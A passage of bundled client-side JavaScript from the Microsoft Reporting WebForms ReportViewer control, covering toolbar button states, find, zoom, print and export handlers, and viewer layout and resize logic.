            this.EnableDisableImage(this.m_nextPageNavButton, isDisplayingReportPage && canPageNavForward);
            this.EnableDisableImage(this.m_lastPageNavButton, isDisplayingReportPage && canPageNavForward);

            // Zoom
            this.EnableDisableWebControl(this.m_zoomDropDown, isDisplayingReportPage);

            // Find
            this.EnableDisableWebControl(this.m_findTextBox, isDisplayingReportPage);
            this.EnableDisableFindButtons(isDisplayingReportPage);

            // Export
            this.EnableDisableExportButton(isDisplayingReportPage);

            // Print
            this.EnableDisableImage(this.m_printButton, isDisplayingReportPage);
        }
    },

    UpdateForNewReportPage: function (updateProperties)
    {
        // Store the new property values
        this.CurrentPage = updateProperties.CurrentPage;
        this.TotalPages = updateProperties.TotalPages;
        this.IsEstimatePageCount = updateProperties.IsEstimatePageCount;

        // Update the current page UI
        if (this.m_currentPageTextBox != null)
            this.m_currentPageTextBox.value = this.CurrentPage;

        // Update the total pages UI
        if (this.m_totalPagesLabel != null)
            this.m_totalPagesLabel.innerHTML = updateProperties.TotalPagesString;

        // Assume zoom level may have changed.  Re-read it from the viewer object
        this.SetUIToCurrentZoomLevel();

        // Update the search string
        if (this.m_findTextBox != null)
            this.m_findTextBox.value = updateProperties.SearchText;

        this.CanFindNext = updateProperties.CanFindNext;

        this.EnableDisable(true);
    },

    EnableDisableFindButtons: function (forEnable)
    {
        if (this.m_findTextBox == null)
            return;

        var findBox = this.m_findTextBox;
        var findBoxHasText = findBox != null && findBox.value != null && findBox.value != "";

        this.EnableDisableTextButton(this.m_findButton, forEnable && findBoxHasText);
        this.EnableDisableTextButton(this.m_findNextButton, forEnable && this.CanFindNext);
    },

    EnableDisableExportButton: function (forEnable)
    {
        this.EnableDisableTextButton(this.m_exportButton, forEnable);
    },

    EnableDisableWebControl: function (element, forEnable)
    {
        if (element != null)
            element.disabled = forEnable ? null : "disabled";
    },

    EnableDisableImage: function (element, forEnable)
    {
        if (element != null && element.control != null)
        {
            element.control.ShowImage(forEnable);
            element.disabled = forEnable ? null : "disabled";
        }
    },

    EnableDisableTextButton: function (element, forEnable)
    {
        if (element != null && element.control != null)
            element.control.SetActive(forEnable);
    },

    OnFindClick: function ()
    {
        var searchText = this.m_findTextBox.value;

        this.m_reportViewer.find(searchText);
    },

    OnFindNextClick: function ()
    {
        this.m_reportViewer.findNext();
    },

    OnFindTextChanged: function ()
    {
        if (event.propertyName == "value")
        {
            this.CanFindNext = false;
            this.EnableDisableFindButtons(true);
        }
    },

    OnFindTextFocus: function ()
    {
        this.FindTextBoxPollInterval = setInterval(this.m_enableDisableFindButtonsDelegate, 250);
    },

    OnFindTextBlur: function ()
    {
        clearInterval(this.FindTextBoxPollInterval);
        this.EnableDisableFindButtons(true);
    },

    OnFindTextKeyPress: function (e)
    {
        if (e.charCode == 10 || e.charCode == 13)
        {
            this.OnFindClick();
            e.preventDefault();
        }
    },

    OnCurrentPageKeyPress: function (e)
    {
        if (e.charCode == 10 || e.charCode == 13)
        {
            var pageNumber = parseInt(this.m_currentPageTextBox.value, 10);
            if (isNaN(pageNumber) || pageNumber < 1 || (pageNumber > this.TotalPages && !this.IsEstimatePageCount))
                alert(this.InvalidPageNumberMessage);
            else
                this.OnCurrentPageClick();

            e.preventDefault();
        }
    },

    CheckEnableDisableFindButtons: function ()
    {
        this.EnableDisableFindButtons(true);
    },

    OnZoomSelectionChanged: function ()
    {
        this.m_reportViewer.set_zoomLevel(this.m_zoomDropDown.value);
    },

    OnZoomChangedExternal: function (sender, e)
    {
        if (e.get_propertyName() == "zoomLevel")
            this.SetUIToCurrentZoomLevel();
    },

    SetUIToCurrentZoomLevel: function ()
    {
        var zoomDropDown = this.m_zoomDropDown;
        if (zoomDropDown == null)
            return;

        // Get the new zoom level
        var zoomLevel = this.m_reportViewer.get_zoomLevel();

        var options = zoomDropDown.options;

        // Find an existing option in the dropdown that matches the new zoom level
        for (var i = 0; i < options.length; i++)
        {
            if (options(i).value == zoomLevel)
            {
                if (zoomDropDown.selectedIndex != i)
                    zoomDropDown.selectedIndex = i;
                return;
            }
        }

        // Couldn't find one so this must be a custom zoom percentage.  Add a
        // new option for it and select it.
        var newOption = document.createElement("option");
        newOption.text = escape(zoomLevel) + "%";
        newOption.value = zoomLevel;
        zoomDropDown.add(newOption);
        zoomDropDown.selectedIndex = options.length - 1;
    },


    OnPrintClick: function ()
    {
        this.m_reportViewer.invokePrintDialog();
    },

    OnRefreshClick: function()
    {
        this.m_reportViewer.refreshReport();
    }
}

Microsoft.Reporting.WebFormsClient._Toolbar.registerClass("Microsoft.Reporting.WebFormsClient._Toolbar", Sys.UI.Control);

1Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient.ReportViewer = function()
{
    Microsoft.Reporting.WebFormsClient.ReportViewer.initializeBase(this);

    this._internalViewerId = null;
    this._needHookEvents = true;

    this._onAppLoadDelegate = Function.createDelegate(this, this._onAppLoad);
    this._onInternalViewerDisposingDelegate = Function.createDelegate(this, this._onInternalViewerDisposing);
    this._onInternalViewerLoadingDelegate = Function.createDelegate(this, this._onInternalViewerLoading);
    this._onReportAreaContentChangedDelegate = Function.createDelegate(this, this._onReportAreaContentChanged);
    this._onReportAreaScrollPositionChangedDelegate = Function.createDelegate(this, this._onReportAreaScrollPositionChanged);
    this._onDocMapAreaCollapseChangedDelegate = Function.createDelegate(this, this._onDocMapAreaCollapseChanged);
    this._onPromptAreaCollapseChangedDelegate = Function.createDelegate(this, this._onPromptAreaCollapseChanged);
}

Microsoft.Reporting.WebFormsClient.ReportViewer.prototype =
{
    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient.ReportViewer.callBaseMethod(this, "initialize");

        Sys.Application.add_load(this._onAppLoadDelegate);
    },

    dispose: function()
    {
        Microsoft.Reporting.WebFormsClient.ReportViewer.callBaseMethod(this, "dispose");

        if (this._onAppLoadDelegate != null)
        {
            Sys.Application.remove_load(this._onAppLoadDelegate);
            delete this._onAppLoadDelegate;
            this._onAppLoadDelegate = null;
        }

        if (this._onInternalViewerDisposingDelegate != null)
        {
            var internalViewer = this._tryGetInternalViewer();
            if (internalViewer != null)
            {
                internalViewer.remove_disposing(this._onInternalViewerDisposingDelegate);
                internalViewer.remove_propertyChanged(this._onReportAreaContentChangedDelegate);
                internalViewer.remove_propertyChanged(this._onInternalViewerLoadingDelegate);
                internalViewer.remove_propertyChanged(this._onReportAreaScrollPositionChangedDelegate);
                internalViewer.remove_propertyChanged(this._onDocMapAreaCollapseChangedDelegate);
                internalViewer.remove_propertyChanged(this._onPromptAreaCollapseChangedDelegate);
            }

            delete this._onInternalViewerDisposingDelegate;
            this._onInternalViewerDisposingDelegate = null;

            delete this._onReportAreaContentChangedDelegate;
            this._onReportAreaContentChangedDelegate = null;

            delete this._onInternalViewerLoadingDelegate;
            this._onInternalViewerLoadingDelegate = null;

            delete this._onReportAreaScrollPositionChangedDelegate;
            this._onReportAreaScrollPositionChangedDelegate = null;

            delete this._onDocMapAreaCollapseChangedDelegate;
            this._onDocMapAreaCollapseChangedDelegate = null;

            delete this._onPromptAreaCollapseChangedDelegate;
            this._onPromptAreaCollapseChangedDelegate = null;
        }
    },

    invokePrintDialog: function()
    {
        this._ensureReportAreaHasReportPage();

        var internalViewer = this._getInternalViewer();
        return internalViewer.PrintDialog();
    },

    exportReport: function(format)
    {
        this._ensureReportAreaHasReportPage();

        var internalViewer = this._getInternalViewer();
        return internalViewer.ExportReport(format);
    },

    find: function(text)
    {
        this._ensureReportAreaHasReportPage();

        var internalViewer = this._getInternalViewer();
        return internalViewer.Find(text);
    },

    recalculateLayout: function()
    {
        var internalViewer = this._getInternalViewer();
        // this ensures recalc will get called in IE
        internalViewer.ResizeViewerReportUsingContainingElement(true);
    },

    findNext: function()
    {
        this._ensureReportAreaHasReportPage();

        var internalViewer = this._getInternalViewer();
        return internalViewer.FindNext();
    },

    refreshReport: function()
    {
        var reportAreaContentType = this.get_reportAreaContentType();
        var canceled = !this.get_isLoading() && reportAreaContentType == Microsoft.Reporting.WebFormsClient.ReportAreaContent.None;

        // if the user successfully canceled, then there is a report loaded in this viewer,
        // so allow them to refresh it.
        if (reportAreaContentType != Microsoft.Reporting.WebFormsClient.ReportAreaContent.ReportPage &&
            reportAreaContentType != Microsoft.Reporting.WebFormsClient.ReportAreaContent.Error && !canceled)
        {
            this._throwExceptionForInvalidState();
        }

        var internalViewer = this._getInternalViewer();
        internalViewer.RefreshReport();
    },

    get_reportAreaContentType: function()
    {
        var internalViewer = this._getInternalViewer();
        return internalViewer.get_reportAreaContentType();
    },

    get_promptAreaCollapsed: function()
    {
        var internalViewer = this._getInternalViewer();
        return !internalViewer.ArePromptsVisible();
    },

    set_promptAreaCollapsed: function(value)
    {

        var internalViewer = this._getInternalViewer();

        var currentPromptAreaVisibility = this.get_promptAreaCollapsed();
        if (currentPromptAreaVisibility != value)
        {
            internalViewer.SetPromptAreaVisibility(!value);
            this.recalculateLayout();
        }
    },

    get_documentMapCollapsed: function()
    {
        var internalViewer = this._getInternalViewer();
        return !internalViewer.AreDocMapAreaVisible();
    },

    set_documentMapCollapsed: function(value)
    {
        var internalViewer = this._getInternalViewer();

        var currentDocMapAreaVisibility = this.get_documentMapCollapsed();
        if (currentDocMapAreaVisibility != value)
            internalViewer.SetDocMapAreaVisibility(!value);
    },

    get_zoomLevel: function()
    {
        var internalViewer = this._getInternalViewer();
        return internalViewer.get_zoomLevel();
    },

    set_zoomLevel: function(value)
    {
        var internalViewer = this._getInternalViewer();

        var currentZoomLevel = this.get_zoomLevel();
        if (currentZoomLevel != value)
        {
            internalViewer.set_zoomLevel(value);
            this.raisePropertyChanged("zoomLevel");
        }
    },

    get_reportAreaScrollPosition: function()
    {
        var internalViewer = this._getInternalViewer();
        return internalViewer.get_reportAreaScrollPosition();
    },

    set_reportAreaScrollPosition: function(scrollPoint)
    {
        if (scrollPoint == null)
            throw Error.argumentNull("scrollPoint");
        else if (!Sys.UI.Point.isInstanceOfType(scrollPoint))
            throw Error.argumentType("scrollPoint", null, Sys.UI.Point);

        var internalViewer = this._getInternalViewer();
        return internalViewer.set_reportAreaScrollPosition(scrollPoint);
    },

    get_isLoading: function()
    {
        var internalViewer = this._tryGetInternalViewer();

        if (internalViewer == null)
            return true;
        else
            return internalViewer.get_isLoading();
    },

    _get_direction: function()
    {
        // It is ok to access the internal viewer for the direction field while it is loading.
        var internalViewer = this._tryGetInternalViewer();
        if (internalViewer == null)
            throw Error.invalidOperation("Unexpected error: InternalViewer unavailable for _get_direction.");

        return internalViewer.GetDirection();
    },

    _get_toolBarUpdate : function()
    {
        var internalViewer = this._tryGetInternalViewer();
        if (internalViewer == null)
            throw Error.invalidOperation("Unexpected error: InternalViewer unavailable for _get_toolBarUpdate.");

        return internalViewer.GetToolBarUpdate();
    },

    _getInternalViewer: function()
    {
        var internalViewer = this._tryGetInternalViewer();

        if (internalViewer == null || this.get_isLoading())
            throw Error.invalidOperation("The report or page is being updated.  Please wait for the current action to complete.");

        return internalViewer;
    },

    _tryGetInternalViewer: function()
    {
        if (this._internalViewerId != null)
            return $get(this._internalViewerId).control;
        else
            return null;
    },

    _ensureReportAreaHasReportPage: function()
    {
        // This may throw if the viewer is still loading.  That's ok.  It's also
        // a requirement that the viewer not be loading when a method requires
        // that a report page be visible.
        var reportAreaContentType = this.get_reportAreaContentType();

        if (reportAreaContentType != Microsoft.Reporting.WebFormsClient.ReportAreaContent.ReportPage)
            this._throwExceptionForInvalidState();
    },

    _throwExceptionForInvalidState: function()
    {
        throw Error.invalidOperation("The operation cannot be performed because there is no report loaded.");
    },

    _onAppLoad: function()
    {
        // When a new internal viewer is created, hook up to events exposed by it
        if (this._needHookEvents)
        {
            var internalViewer = this._tryGetInternalViewer();
            if (internalViewer != null)
            {
                internalViewer.add_disposing(this._onInternalViewerDisposingDelegate);
                internalViewer.add_propertyChanged(this._onReportAreaContentChangedDelegate);
                internalViewer.add_propertyChanged(this._onInternalViewerLoadingDelegate);
                internalViewer.add_propertyChanged(this._onReportAreaScrollPositionChangedDelegate);
                internalViewer.add_propertyChanged(this._onDocMapAreaCollapseChangedDelegate);
                internalViewer.add_propertyChanged(this._onPromptAreaCollapseChangedDelegate);

                this._needHookEvents = false;
            }
        }
    },

    _onInternalViewerDisposing: function()
    {
        // When the internal viewer is disposed, mark that we need to hook up events to the
        // one that gets created after the postback.
        this._needHookEvents = true;
    },

    _onReportAreaContentChanged: function(sender, e)
    {
        if (e.get_propertyName() == "reportAreaContentType")
        {
            // Propagate the event to users of this class
            this.raisePropertyChanged("reportAreaContentType");
        }
    },

    _onInternalViewerLoading: function(sender, e)
    {
        if (e.get_propertyName() == "isLoading")
        {
            // Propagate the event to users of this class
            this.raisePropertyChanged("isLoading");
        }
    },

    _onReportAreaScrollPositionChanged: function(sender, e)
    {
        if (e.get_propertyName() == "reportAreaScrollPosition")
        {
            // Propagate the event to users of this class
            this.raisePropertyChanged("reportAreaScrollPosition");
        }
    },

    _onDocMapAreaCollapseChanged: function(sender, e)
    {
        if (e.get_propertyName() == "documentMapCollapsed")
        {
            // Propagate the event to users of this class
            this.raisePropertyChanged("documentMapCollapsed");
        }
    },
    
    _onPromptAreaCollapseChanged: function(sender, e)
    {
        if (e.get_propertyName() == "promptAreaCollapsed")
        {
            // Propagate the event to users of this class
            this.raisePropertyChanged("promptAreaCollapsed");
        }
    }
}

Microsoft.Reporting.WebFormsClient.ReportViewer.registerClass("Microsoft.Reporting.WebFormsClient.ReportViewer", Sys.Component);

Microsoft.Reporting.WebFormsClient.ReportAreaContent = function() { };
Microsoft.Reporting.WebFormsClient.ReportAreaContent.prototype =
{
    None: 0,
    ReportPage: 1,
    Error: 2
}
Microsoft.Reporting.WebFormsClient.ReportAreaContent.registerEnum("Microsoft.Reporting.WebFormsClient.ReportAreaContent");
Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._InternalReportViewer = function(element)
{
    Microsoft.Reporting.WebFormsClient._InternalReportViewer.initializeBase(this, [element]);

    this.ReportViewerId = null;
    this.ReportAreaId = null;
    this.DocMapAreaId = null;
    this.FixedTableId = null;

    this.ActionTypeId = null;
    this.ActionParamId = null;
    this.HasSizingRow = true;

    this.BaseHeight = null;
    this.BaseWidth = null;

    this.PromptAreaRowId = null;
    this.PromptSplitterId = null;
    this.DocMapSplitterId = null;
    this.DirectionCacheId = null;
    this.DocMapHeaderOverflowDivId = null;
    this.BrowserModeId = null;

    this.UnableToLoadPrintMessage = null;

    this.PostBackToClientScript = null;

    this.ExportUrlBase = null;
    this.m_printInfo = null;

    this.m_OnAppLoadDelegate = Function.createDelegate(this, this.OnAppLoad);
    this.m_OnReportAreaContentChangedDelegate = Function.createDelegate(this, this.OnReportAreaContentChanged);
    this.m_OnAsyncPostBackStartedDelegate = Function.createDelegate(this, this.OnAsyncPostBackStarted);
    this.m_OnAsyncPostBackEndedDelegate = Function.createDelegate(this, this.OnAsyncPostBackEnded);
    this.m_OnReportAreaScrollPositionChangedDelegate = Function.createDelegate(this, this.OnReportAreaScrollPositionChanged);
    this.m_OnWindowResizeDelegate = Function.createDelegate(this, this.OnWindowResize);
    this.m_PromptSplitterCollapsingDelegate = Function.createDelegate(this, this.OnPromptSplitterCollapsing);
    this.m_DocMapSplitterCollapsingDelegate = Function.createDelegate(this, this.OnDocMapSplitterCollapsing);
    this.m_DocMapSplitterResizingDelegate = Function.createDelegate(this, this.OnDocMapSplitterResizing);

    this.m_onAppLoadCalled = false;
    this.m_useResizeScript = false;
    this.m_reportViewer = null;
    this.m_isLoading = true;
    this.m_toolBarUpdate = {};
    this.m_reportAreaContentChanged = false;

    this.m_previousWindowHeight = -1;
    this.m_previousWindowWidth = -1;
}

Microsoft.Reporting.WebFormsClient._InternalReportViewer.prototype =
{
    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient._InternalReportViewer.callBaseMethod(this, "initialize");
        Sys.Application.add_load(this.m_OnAppLoadDelegate);

        var isHeightPercentage = false;

        if (this.BaseHeight.indexOf('%') >= 0)
        {
            isHeightPercentage = true;
        }

        this.m_useResizeScript = !_$RVCommon.isIEQuirksMode() && parseFloat(this.BaseHeight) != 0 && this.HasSizingRow;

        if (this.m_useResizeScript)
        {
            $addHandler(window, "resize", this.m_OnWindowResizeDelegate);
        }
    },

    dispose: function()
    {
        Microsoft.Reporting.WebFormsClient._InternalReportViewer.callBaseMethod(this, "dispose");

        if (this.m_OnAppLoadDelegate != null)
        {
            Sys.Application.remove_load(this.m_OnAppLoadDelegate);
            delete this.m_OnAppLoadDelegate;
            this.m_OnAppLoadDelegate = null;
        }

        if (this.m_OnReportAreaContentChangedDelegate != null)
        {
            delete this.m_OnReportAreaContentChangedDelegate;
            this.m_OnReportAreaContentChangedDelegate = null;
        }

        if (this.m_OnAsyncPostBackStartedDelegate != null)
        {
            var pageRequestManager = this.GetPageRequestManager();
            if (pageRequestManager != null)
            {
                pageRequestManager.remove_beginRequest(this.m_OnAsyncPostBackStartedDelegate);
                pageRequestManager.remove_endRequest(this.m_OnAsyncPostBackEndedDelegate);
            }

            delete this.m_OnAsyncPostBackStartedDelegate;
            this.m_OnAsyncPostBackStartedDelegate = null;

            delete this.m_OnAsyncPostBackEndedDelegate;
            this.m_OnAsyncPostBackEndedDelegate = null;
        }

        if (this.m_OnReportAreaScrollPositionChangedDelegate != null)
        {
            delete this.m_OnReportAreaScrollPositionChangedDelegate;
            this.m_OnReportAreaScrollPositionChangedDelegate = null;
        }

        if (this.m_OnWindowResizeDelegate != null)
        {
            if (this.m_useResizeScript)
                $removeHandler(window, "resize", this.m_OnWindowResizeDelegate);

            delete this.m_OnWindowResizeDelegate;
            this.m_OnWindowResizeDelegate = null;
        }

        if (this._promptSplitter)
            this._promptSplitter.remove_collapsing(this.m_PromptSplitterCollapsingDelegate);
        delete this.m_PromptSplitterCollapsingDelegate;
        this.m_PromptSplitterCollapsingDelegate = null;

        if (this._docMapSplitter)
        {
            this._docMapSplitter.remove_collapsing(this.m_DocMapSplitterCollapsingDelegate);
            this._docMapSplitter.remove_resizing(this.m_DocMapSplitterResizingDelegate);
        }
        delete this.m_DocMapSplitterCollapsingDelegate;
        this.m_DocMapSplitterCollapsingDelegate = null;
        delete this.m_DocMapSplitterResizingDelegate;
        this.m_DocMapSplitterResizingDelegate = null;

        if (this._docMapCells != null)
        {
            delete this._docMapCells;
            this._docMapCells = null;
        }
    },

    ResetWindowSizeCache: function()
    {
        // this is to explicitly force HasWindowChangedSize
        // to return true, thus forcing the resize code to run in IE

        this.m_previousWindowHeight = -1;
        this.m_previousWindowWidth = -1;
    },

    // Custom accessor for complex object type (array)
    set_PrintInfo: function(value) { this.m_printInfo = value; },
    get_PrintInfo: function() { return this.m_printInfo; },

    OnAppLoad: function()
    {
        if (!this.m_onAppLoadCalled)
        {
            var reportAreaElement = $get(this.ReportAreaId);
            var reportAreaControl = reportAreaElement.control;
            reportAreaControl.add_contentChanged(this.m_OnReportAreaContentChangedDelegate);
            reportAreaControl.add_propertyChanged(this.m_OnReportAreaScrollPositionChangedDelegate);

            var pageRequestManager = this.GetPageRequestManager();
            if (pageRequestManager != null)
            {
                pageRequestManager.add_beginRequest(this.m_OnAsyncPostBackStartedDelegate);
                pageRequestManager.add_endRequest(this.m_OnAsyncPostBackEndedDelegate);
            }

            this.UpdateBrowserMode();
            this.m_onAppLoadCalled = true;
        }

        if (!this._promptSplitter)
        {
            this._promptSplitter = $get(this.PromptSplitterId).control;
            this._promptSplitter.add_collapsing(this.m_PromptSplitterCollapsingDelegate);
        }

        if (!this._docMapSplitter)
        {
            this._docMapSplitter = $get(this.DocMapSplitterId).control;
            this._docMapSplitter.add_collapsing(this.m_DocMapSplitterCollapsingDelegate);
            this._docMapSplitter.add_resizing(this.m_DocMapSplitterResizingDelegate);
        }

        if (this._docMapCells != null)
        {
            delete this._docMapCells;
            this._docMapCells = null;
        }

        this._UpdateDocMapAreaUIVisibility();

        this.ResizeViewerReportUsingContainingElement(false);

        // we want IE to call our resize code once again after the page has fully loaded
        this.ResetWindowSizeCache();

        this.HideSizingRow();
    },

    HideSizingRow: function()
    {
        // the row can only be hidden for IE quirks mode
        // Generally it can be hidden in pre IE8 standards mode, but this fails in the webpart
        if (this.HasSizingRow && _$RVCommon.isIEQuirksMode())
        {
            var fixedTable = $get(this.FixedTableId);
            var sizingRow = fixedTable.rows.item(0);
            sizingRow.style.display = "none";
        }
    },

    OnReportAreaContentChanged: function(sender, eventArgs)
    {
        this.m_toolBarUpdate = eventArgs.ToolBarUpdate;
        this.m_reportAreaContentChanged = true;

        if (this.get_reportAreaContentType() == Microsoft.Reporting.WebFormsClient.ReportAreaContent.ReportPage)
        {
            // bring the docmap into view now that the report is ready
            var docMap = $get(this.DocMapAreaId);
            _$RVCommon.SetElementVisibility(docMap, true);
            this._UpdateDocMapAreaUIVisibility();
        }

        // If the report loaded so quickly that the async request hasn't
        // finished yet, wait for it to complete before enabling things.
        var pageRequestManager = this.GetPageRequestManager();
        if (pageRequestManager == null || !pageRequestManager.get_isInAsyncPostBack())
            this.EnableDisableInput(true);
    },

    OnWindowResize: function()
    {
        this.ResizeViewerReportUsingContainingElement(false);
    },

    HasWindowChangedSize: function()
    {
        // this method is only relevant to IE
        if (Sys.Browser.agent != Sys.Browser.InternetExplorer)
        {
            // "true" esentially means "go ahead and run the resize code"
            return true;
        }

        var width = document.body.clientWidth;
        var height = document.body.clientHeight;

        var changed = width !== this.m_previousWindowWidth || height !== this.m_previousWindowHeight;

        this.m_previousWindowHeight = height;
        this.m_previousWindowWidth = width;

        return changed;
    },

    ResizeViewerReportUsingContainingElement: function(forceRecalculate)
    {
        var reportViewer = $get(this.ReportViewerId);
        var reportArea = $get(this.ReportAreaId);

        // It is possible for the window resize event to fire before everything is created.
        if (reportArea.control == null)
            return;

        // in IE, we only want to execute this code if the window has truly changed
        // size in most cases. That is what the HasWindowChangedSize checks for.
        // Otherwise IE will call the resize handler often, and our handler will cause
        // them to fire resize even more, leading to crashing the browser
        if (!forceRecalculate && (!this.m_useResizeScript || !this.HasWindowChangedSize()))
            return;

        var isHeightPercentage = false;

        if (this.BaseHeight.indexOf('%') >= 0)
        {
            isHeightPercentage = true;
        }

        var reportViewerHeight = -1;
        var reportAreaHeight = -1;

        if (isHeightPercentage)
        {
            var actualHeight = this.GetReportViewerHeight();
            reportViewerHeight = Math.round(((actualHeight) / 100) * parseFloat(this.BaseHeight));
        }
        else
        {
            reportViewerHeight = _$RVCommon.convertToPx(this.BaseHeight);
        }

        var toolbarHeight = this.GetFixedHeight();
        reportAreaHeight = reportViewerHeight - toolbarHeight;


        if ((reportViewerHeight == 0 && isHeightPercentage) ||
            reportViewerHeight < 0 ||
            reportAreaHeight < 0 ||
            (reportViewerHeight < reportAreaHeight))
        {
            // At least make the doc map the same height as the report area
            this.SetDocMapAreaHeight(reportArea.offsetHeight);
        }
        else
        {
            reportViewer.style.height = reportViewerHeight + "px";
            reportArea.parentNode.style.height = reportAreaHeight + "px";

            var visibleContainer = $get(reportArea.control.VisibleReportContentContainerId);
            if (visibleContainer && visibleContainer.style)
            {
                var visibleStyle = _$RVCommon.getStyleForElement(visibleContainer);

                //Take into consideration the borders and remove them from the width.  IE Standards mode, Firefox, and Safari need this
                var sumofborderHeight = _$RVCommon.convertToPx(visibleStyle.borderTopWidth)
                    + _$RVCommon.convertToPx(visibleStyle.borderBottomWidth);
                var sumofborderWidth = _$RVCommon.convertToPx(visibleStyle.borderLeftWidth)
                    + _$RVCommon.convertToPx(visibleStyle.borderRightWidth);

                if (sumofborderHeight > 0 || sumofborderWidth > 0)
                {
                    //Do not make the sizes less than the minimum of the data
                    var reportDivId = reportArea.control.GetReportPage().ReportDivId; //Use the oReportDiv/TABLE to calc the minimum sizing
                    var minHeight = reportDivId ? $get(reportDivId).childNodes[0].clientHeight : 0;
                    var minWidth = reportDivId ? $get(reportDivId).childNodes[0].clientWidth : 0;

                    //IE calculates the sizing to need scrollbars if the content is larger than the outer size.
                    //This makes the content start as zero.
                    visibleContainer.style.height = 0;
                    visibleContainer.style.width = 0;

                    var targetHeight = 0;
                    var targetWidth = 0;

                    //Make sure the visiblecontainer size is at least the size of the report content
                    if (sumofborderHeight > 0)
                        targetHeight = Math.max(reportArea.clientHeight - sumofborderHeight, minHeight);

                    if (sumofborderWidth > 0)
                        targetWidth = Math.max(reportArea.clientWidth - sumofborderWidth, minWidth);

                    if (targetHeight > 0)
                        visibleContainer.style.height = targetHeight + "px";
                    if (targetWidth > 0)
                        visibleContainer.style.width = targetWidth + "px";
                }
            }

            this.SetLastRowHeight(reportAreaHeight + "px");

            // Finally set the DocMapArea height.
            this.SetDocMapAreaHeight(reportAreaHeight);
        }

        // IE 7 standards mode - when the viewer is in an inline element and there is a doc map, IE
        // collapses the width of the entire viewer to the width of the splitter (the fixed width column).
        // To calculate the correct width in this case, hide the splitter and use the width that IE
        // assigns when only percentage width columns are visible.
        if (_$RVCommon.isPreIE8StandardsMode() &&   // IE 7 standards mode
            this.BaseWidth.indexOf('%') > 0 &&      // Percentage width
            this.HasSizingRow)                      // Not SizeToReportContent
        {
            // Hide the doc map
            this._UpdateDocMapAreaUIVisibility(true);

            // Revert viewer to its original value
            reportViewer.style.width = this.BaseWidth;

            // Calculate parent width and Set width on viewer
            reportViewer.style.width = reportViewer.clientWidth + "px";

            // Restore doc map
            this._UpdateDocMapAreaUIVisibility();
        }

        this._UpdateDocMapAreaUIWidth(Number.NaN);
    },

    SetLastRowHeight: function(height)
    {
        var result = null;
        var lastRow = $get(this.FixedTableId).rows.item(this.HasSizingRow ? 4 : 3);
        for (var cellIndex = 0; cellIndex < lastRow.cells.length; cellIndex++)
        {
            if (!result)
                result = lastRow.cells.item(cellIndex).style.height;
            lastRow.cells.item(cellIndex).style.height = height;
        }
        return result;
    },

    GetReportViewerHeight: function()
    {
        var reportArea = $get(this.ReportAreaId);
        var top = reportArea.scrollTop;
        var left = reportArea.scrollLeft;
        var docMap = this.GetDocMapCells();
        var docMapTop = 0;
        var docMapLeft = 0;
        if (docMap != null && docMap.docMapContainer != null)
        {
            docMapTop = docMap.docMapContainer.scrollTop;
            docMapLeft = docMap.docMapContainer.scrollLeft;
        }

        var reportViewer = $get(this.ReportViewerId);
        var height = 0;

        // Remember the current display style for the viewer
        var viewerDisplayStyle = reportViewer.style.display;
        var originalHeight = reportViewer.style.height;

        // Hide the viewer so it does not alter the dimensions of its parent.
        reportViewer.style.display = "none";

        // Set the viewer height back to its original value, otherwise fixed pixel height
        // will prevent the collapse we need for recalculation in non-IE browsers.
        reportViewer.style.height = this.BaseHeight;

        // The extra parentNode here is the update panel that encapsulates the reportViewer Control.
        height = reportViewer.parentNode.parentNode.clientHeight;

        // Make the viewer visible again.
        reportViewer.style.display = viewerDisplayStyle;
        reportViewer.style.height = originalHeight;

        if (top > 0 || left > 0)
        {
            // With the display = 'none' above, Firefox resets the scroll position.  Scroll back to the previous point.
            var currentTop = reportArea.scrollTop;
            var currentLeft = reportArea.scrollLeft;
            if (top != currentTop)
                reportArea.scrollTop = top;
            if (left != currentLeft)
                reportArea.scrollLeft = left;
        }

        if (docMapTop > 0 || docMapLeft > 0)
        {
            var currentTop = docMap.docMapContainer.scrollTop;
            var currentLeft = docMap.docMapContainer.scrollLeft;
            if (docMapTop != currentTop)
                docMap.docMapContainer.scrollTop = docMapTop;
            if (docMapLeft != currentLeft)
                docMap.docMapContainer.scrollLeft = docMapLeft;
        }

        return height;
    },

    GetFixedHeight: function()
    {
        var height = 0;

        var fixedTable = $get(this.FixedTableId);
        if (fixedTable != null)
        {
            // set last row height 100% so can push the upper rows up;
            // Preserve scroll position - this method should not alter the display
            var oldScrollPos = this.get_reportAreaScrollPosition();
            var oldHeight = this.SetLastRowHeight("100%")

            var rows = fixedTable.rows;

            // Get the offsetHeight of all the rows except the last one as that is the reportArea.
            // Accessing hidden offsetHeight row causes resize event in IE8 compat.
            for (var i = 0; i < (rows.length - 1); i++)
            {
                if (rows[i].style.display != "none")
                    height += rows[i].offsetHeight;
            }

            this.SetLastRowHeight(oldHeight);
            this.set_reportAreaScrollPosition(oldScrollPos);
        }

        return height;
    },

    OnAsyncPostBackStarted: function()
    {
        this.EnableDisableInput(false);
    },

    OnAsyncPostBackEnded: function()
    {
        var reportAreaElement = $get(this.ReportAreaId);
        var reportAreaControl = reportAreaElement.control;

        // Async postback disabled the toolbar.  If no new page was loaded (or
        // loading completed before the request ended), no report area load event
        // will follow, so set the toolbar back to enabled here.
        if (!reportAreaControl.IsLoading())
            this.EnableDisableInput(true);
    },

    get_isLoading: function()
    {
        return this.m_isLoading;
    },

    get_reportAreaScrollPosition: function()
    {
        var reportAreaElement = $get(this.ReportAreaId);
        var reportAreaControl = reportAreaElement.control;
        if (reportAreaControl != null)
            return reportAreaControl.get_scrollPosition();
        else
            return new Sys.UI.Point(0, 0);
    },

    set_reportAreaScrollPosition: function(scrollPoint)
    {
        var reportAreaElement = $get(this.ReportAreaId);
        var reportAreaControl = reportAreaElement.control;
        if (reportAreaControl != null)
            return reportAreaControl.set_scrollPosition(scrollPoint);
    },

    OnReportAreaScrollPositionChanged: function(sender, e)
    {
        if (e.get_propertyName() == "scrollPosition")
            this.raisePropertyChanged("reportAreaScrollPosition");
    },

    EnableDisableInput: function(shouldEnable)
    {
        if (this.m_isLoading == shouldEnable)
        {
            this.m_isLoading = !shouldEnable;
            this.raisePropertyChanged("isLoading");

            // Fire the report area content changed event
            if (this.m_reportAreaContentChanged)
            {
                this.raisePropertyChanged("reportAreaContentType");
                this.m_reportAreaContentChanged = false;
            }
        }

        // Enable/Disable various viewer regions.  If enabling and about to trigger a postback
        // (which would just disable things again), skip the enable.
